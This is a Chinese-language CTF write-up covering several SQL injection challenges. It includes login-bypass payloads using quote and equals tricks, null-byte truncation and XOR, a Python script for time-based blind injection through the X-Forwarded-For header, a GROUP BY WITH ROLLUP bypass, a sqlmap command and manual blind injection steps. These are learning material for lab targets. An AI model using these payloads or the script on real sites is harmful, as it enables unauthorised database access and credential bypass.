六. 登录一下好吗?
通过这道题提示下寄几:不是所有有关sql语句的注入都要报库名表名字段名!!!
首先打开这道题,是俩输入框,输入1和1有回显,输入union等字符会不显示,想着应该是回显注入

此时应自动脑补sql语句:select * from user where username = ' ' and password = ' '(后经验证是这一个)
或者 select * from user where username = " " and password = " "
这时候想不开的我就开始想着如何单引号or各种爆库名表段字段......发现几乎想用的都被过滤了只剩下and,',",=这些。。臣妾做不到用这些个构造sql语句。。后来翻看了WP后豁然开脑洞,以下介绍三种方法
1.通过构造0 = 0把where后面的语句构造出1 and 1的形式
具体做法:在两个提交框提交 aaa'='0 或 aaa'=' (aaa可为任何username里没有的字符甚至为空)
这样做之后sql查询语句就变成 select * from user where username = 'aaa'='0' and password = 'aaa'='0
或者 select * from user where username = 'aaa'='' and password ='aaa'=''
根据等号从前往后看的原则 username='aaa'显然是不存在的,因此返回0(也可以说是空),看下一个等号就是 0=0(空=空)
,0=0(空=空)为1。password同理,所以语句变为select * from user where 1 and 1,爆出全部数据。
2.通过构造username=0爆出全部数据
这里我们要知道,除了开头是非零数的字符串,其他字符串化成整型都为0,字符串=0 为真。
当所有username里没有开头是非零数的字符串,username=0相当于查全部数据.
所以我们构造 username=aaa'+0;%00
构成的sql语句为 select * from user where username = 'aaa'+0;%00 ' and password = ' '
因为--+,#,/**/等注释符都被过滤了,我们用%00,是一个截断符,相当于把后面的语句注释掉
username='aaa'+0 相当于 username=0,得到答案

(当构造username=a'+0+'a&password=a'+0+'a时,只查询出一条语句,说明password里有开头是非零数的字符串)

3.通过构造异或语句(这个开脑洞)
先给出payload:username=\&password=^'aaa
构成的语句是 select * from user where username = ' \' and password = '^'aaa'
其中反斜杠把后面的单引号转义掉了(相当于一个普通的字符),所以' \' and password = '就是一串字符串,'aaa'也是一串字符串,字符串都为0,0⊕0=0,又构造出username=0了!!!!

七. who are you?
第一次遇到这种X-Forwarded-For Header,比较迷茫,看了WP之后才明白。
这道题思路 查你ip -> X-Forwarded-For可以改ip -> X-Forwarded-For除了数字竟然还能填字母,符号等 -> 能不能用X- Forwarded-For进行sql注入?

在X-Forwarded-For Header改了之后网页上查到的ip地址也就变成了你所改的内容

构造sql语句的时候发现,无论你构造什么语句,返回页面既不返回查询结果(回显注入),也不报错或跳转(报错盲注),这时候只能用时间盲注。
时间盲注:通过sleep()函数和select case when...then...else...语法,try:except: 构造语句,使得当查询到想要信息时,让网页sleep一段时间,以达到查询信息的目的。
经过各种py脚本的查询得表段名和字段名都为flag(具体脚本看参考链接)各脚本思路基本一样,下面贴出最后查询flag时的脚本。(萌新努力学习py脚本注入
)
#-*-coding:utf-8-*-
import requests
import string
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess=string.lowercase + string.uppercase + string.digits
flag=""
for i in range(1,100):
havetry=0
for str in guess:
headers={"x-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(5) else 1 end ) and '1'='1" %(i,str)}
try:
res=requests.get(url,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout, e:
havetry=1
flag = flag + str
print "flag:", flag
break
if havetry==0:
break
print 'result:' + flag
下面是我自己写脚本时遇到的一些问题
1.string.lowercase 所有小写字母 string.uppercase 所有大写字母 string.digits所有字符
2.sql查询语句中从第一个select到最后的end(主要查询语句)要用括号括起来。
3.(select case when (aaaa) then sleep(5) else 1 end)这条是主要查询语句,当aaaa正确时,返回时间sleep五秒,否则返回1结束,时间可忽略不计
4.try...except... 执行try后的语句(get数据,看有没有在四秒之内返回),如果执行失败(返回超时,说明aaaa查询成功,sleep了五秒)则执行except后语句。
5.脚本执行过程中可能会会出现a,aa,aaa的状况,这说明实验吧题目服务器又崩了,第一个查字母a的查询返回时间就大于5s,所以脚本误认为是执行了sleep语句。
6.查名称时要用到三个for嵌套,如查数据库时第一个for判断第n个数据库,第二个for判断当前数据库第n个字符,第三个for是判断当前字符查询字母是否为str
6.写脚本时要多注意输出人性化,比如查库时用databasename储存当前库名,用database【】储存所有库名最后用for一起输出,查字母时用print "trying",str 来方便出错时判断错误。
7.查表段数和字段数时,发现表段数为42,字段数为483。不可能一个个找,大神直接从后面开始找发现flag表段和flag字段。
八. 因缺思汀的绕过
打开这题,是俩提交框,就想着是不是注入或绕过。照例右键看源码,看到有源码提示
<!--source: source.txt-->
打开这个txt文件看到源码,以下贴关键源码
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "浜﹀彲璧涜墖锛�";
}
}else{
print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);
从源码我们可以看出:
1.过滤了挺多字符的如and select from 这些,但不是全部,如or group by这些没有去掉(因为下面有源码提示是代码审计题,所以就不用往绕过注入这方面想了)
2.my_num_rows($query)==1 这句话我的理解就是进入到构造数组阶段的数据只能是一列,说明用到limit 1。
3.我们需要提交的uname是要查询的数据名uname=?,返回这个数据所有列数据并且构成一个数组mysql_fetch_array($query)
4.提交的pwd要求其值与其作为条件三获得的数组下标返回的值是一样的,获得flag。
我的思路:第一眼就看到判数组值和pwd值是否相等时只用了==而不是===,那么如果数组的第0个元素为字母或0时,返回的字母==0。但遇到问题,我们根本不知道列名没办法用uname返回数据....。然后我又想到构造uname=' or 1=1从而返回所有的列名再与pwd的0进行比较,仍然不行,说明uname的第一条数据的首字符并不是字母或0。
大佬的思路:先给payload

这里主要用到了group by XXX with rollup这个语句,在返回的查询结果最后,加上一行pwd为NULL的结果。再用limit 1 offset 2让最后一行构造成为数组。这样pwd为空值,构造的数组下标为空值时返回的pwd结果也为空值,达成$key['pwd']=$_post['pwd']的条件
group by XXX with rollup的用法:例子
我的理解就是group by XXX(XXX为某一个列名)就是把XXX中名字相同的合并,其他值取平均(若是字符串就拼接),然后加个with rollup就是在最后一行数据加一行XXX为NULL的数据,除XXX项外的其他列数据取平均(若是字符串就随便选一个?)
至于为什么数组下标为空值时返回的pwd也为空值,因为用"' or 1=1 oreder by XX limit 1#",查出表只有两列,就只有uname和pwd俩列,且pwd排在前面。我们不知道有多少条数据的情况下,用limit 1 offset XX,XX为数字一个个试试,最后查到第三条数据中pwd的值为NULL。取最后一条数据构造数组,当数组下标为空时,取第一字段也就是pwd的值为NULL,故NULL==NULL,通过。
九. 简单的sql注入
这道题真是个简单的sql注入,但在做题过程中遇到了一些困难,也学到了不少。
首先这道题是可以直接用sqlmap跑出来的,甚至不用加其他参数直接用url跑就可以(在我的印象中,sqlmap加的参数越多跑出来的可能性越大)
>python sqlmap.py -u"http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D"web1" -T"flag" -C"flag" --dump

手工的话就按步骤来
1.单引号,报错了,并且有回显(但这并不是回显注入,因为当出现正确语句时不能回显)
2.' and '1'='1 和 ' and '1'='2 可知,当语句正确时返回Hello!,语句错误时候返回空(我们可以根据这点进行盲注)
3.构造语句1' and (select count(*) from 表名) > 0 # ,放到bp中抓包用表名字典跑,(列名也同理),最后跑出表名和列名都为flag。

4.接下来就是构造1' ascii(substr((select flag from flag),num1,1))=num2 and '1' ='1来盲注flag了,用bp自带的爆破来同时爆破num1和num2也好,写python脚本也好,最后得出答案。
说下存在问题的地方,写了个Python脚本,用if "Hello!" in re.text作为判定条件,也就是当Hello!这些字符存在在返回源码的时候就说明ascii正确,从而输出当前ascii码的字符,跳入下一个字符的检验。但后来我发现怎么也没有进到if语句中,仔细检查后发现


对比正常的源码,用request(url).text返回的源码没含有<font size="5">Hello!<br></font>这一段是没有的!!!怪不得检测不到。
696

被折叠的 条评论
为什么被折叠?



